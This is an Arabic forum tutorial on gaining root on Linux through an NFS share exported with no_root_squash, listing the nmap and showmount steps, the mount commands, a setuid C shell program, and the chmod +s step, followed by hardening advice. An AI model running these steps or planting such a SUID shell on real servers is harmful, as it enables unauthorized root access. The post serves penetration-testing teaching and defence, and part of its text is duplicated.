- بواسطة x32x01 ||
واحدة من أخطر مشاكل Linux Privilege Escalation اللي بتتقابل كتير في اختبارات الاختراق هي سوء إعداد NFS Server.
الغلط الصغير في إعدادات الـ Administrator ممكن يخليك تنتقل من يوزر عادي 👤
إلى Root Access كامل خلال دقائق فقط 😈
خلينا نشرح السيناريو خطوة خطوة بأسلوب عملي زي اللي بيحصل في الـ Penetration Testing الحقيقي 👇
هو بروتوكول بيسمح بمشاركة الملفات عبر الشبكة كأنها موجودة Local عندك.
يعني تقدر تعمل:
✅ قراءة ملفات ✅ تعديل ملفات ✅ إنشاء ملفات
على جهاز تاني عن بعد.
لكن المشكلة تبدأ لما يحصل Misconfiguration ⚠️
وهدفك توصل لصلاحيات:
لو ظهر عندك:
يبقى كده فيه NFS Service شغالة ✅
مثال نتيجة:
ده معناه إن مجلد www متشارك على الشبكة.
لو لقيت الخيار ده:
يبقى السيرفر في خطر كبير جدًا 😵💫
يعني تقدر تنشئ ملفات بصلاحيات Root مباشرة!
كده بقى عندك وصول مباشر لمجلد السيرفر.
هتلاحظ إنه اتضاف على السيرفر بصلاحية:
وده سبب المشكلة كلها ⚠️
هنستخدم برنامج بسيط بلغة C.
بعد كده انخ الملف داخل مجلد الـ NFS المشترك.
والنتيجة:
✅ تم رفع الصلاحيات بنجاح عبر NFS.
✅ إزالة
✅ استخدام
✅ تحديد IPs المسموح لها فقط
✅ منع الكتابة للمستخدمين غير الموثوقين
✅ مراجعة
مثال إعداد آمن:
✅ Linux Privilege Escalation
✅ Local to Root Attack
✅ Post Exploitation
وأحيانًا مجرد Option غلط واحد… يفتح السيرفر بالكامل.
الغلط الصغير في إعدادات الـ Administrator ممكن يخليك تنتقل من يوزر عادي 👤
إلى Root Access كامل خلال دقائق فقط 😈
خلينا نشرح السيناريو خطوة خطوة بأسلوب عملي زي اللي بيحصل في الـ Penetration Testing الحقيقي 👇
يعني إيه NFS أصلًا؟ 🤔
NFS - Network File Systemهو بروتوكول بيسمح بمشاركة الملفات عبر الشبكة كأنها موجودة Local عندك.
يعني تقدر تعمل:
✅ قراءة ملفات ✅ تعديل ملفات ✅ إنشاء ملفات
على جهاز تاني عن بعد.
لكن المشكلة تبدأ لما يحصل Misconfiguration ⚠️
سيناريو الاختراق 🎯
نفترض إنك داخل على السيرفر بيوزر عادي:testوهدفك توصل لصلاحيات:
rootالخطوة 1: فحص البورتات باستخدام Nmap 🔎
أول حاجة أي Pentester بيعملها هي Scan: Code:
nmap -sV -p- TARGET_IP Code:
2049/tcp open nfs الخطوة 2: معرفة المجلدات المشاركة عبر NFS 📂
نستخدم الأمر: Code:
showmount -e TARGET_IP /www *ده معناه إن مجلد www متشارك على الشبكة.
الخطوة 3: أخطر Option في NFS 🚨 (no_root_squash)
إعدادات NFS بتكون موجودة في: Code:
/etc/exports no_root_squashيبقى السيرفر في خطر كبير جدًا 😵💫
ليه؟
ببساطة: أي Root من جهازك = Root على السيرفر.يعني تقدر تنشئ ملفات بصلاحيات Root مباشرة!
الخطوة 4: عمل Mount للمجلد المشترك 🧩
على جهاز Kali مثلاً: Code:
mkdir /tmp/test
mount -t nfs TARGET_IP:/www /tmp/test الخطوة 5: اختبار إنشاء ملف ✍️
لو أنشأت ملف داخل المجلد: Code:
touch testfile rootوده سبب المشكلة كلها ⚠️
الخطوة 6: استغلال الثغرة ورفع الصلاحيات 🔥
طالما نقدر ننشئ ملفات Root… يبقى نقدر نزرع Binary بصلاحية عالية.هنستخدم برنامج بسيط بلغة C.
كود Privilege Escalation:
C++:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
} الخطوة 7: Compile وإعطاء صلاحية SUID ⚡
Bash:
gcc shell.c -o shell
chmod +s shell بعد كده انخ الملف داخل مجلد الـ NFS المشترك.
الخطوة 8: الحصول على Root Access 👑
على الجهاز الهدف:./shellوالنتيجة:
root@target✅ تم رفع الصلاحيات بنجاح عبر NFS.
ليه الثغرة دي خطيرة جدًا؟ 😨
لأنها:- لا تحتاج Exploit معقد
- تعتمد على Misconfiguration فقط
- شائعة في السيرفرات الداخلية
- بتظهر كثير في CTF وReal Engagements
إزاي تحمي السيرفر من NFS Privilege Escalation؟ 🛡️
المسؤول عن السيرفر لازم:✅ إزالة
no_root_squash✅ استخدام
root_squash بدلها✅ تحديد IPs المسموح لها فقط
✅ منع الكتابة للمستخدمين غير الموثوقين
✅ مراجعة
/etc/exports باستمرارمثال إعداد آمن:
Code:
/www 192.168.1.10(rw,root_squash) الخلاصة 💡
ثغرات NFS Misconfiguration تعتبر من أسهل وأقوى طرق:✅ Linux Privilege Escalation
✅ Local to Root Attack
✅ Post Exploitation
وأحيانًا مجرد Option غلط واحد… يفتح السيرفر بالكامل.
التعديل الأخير: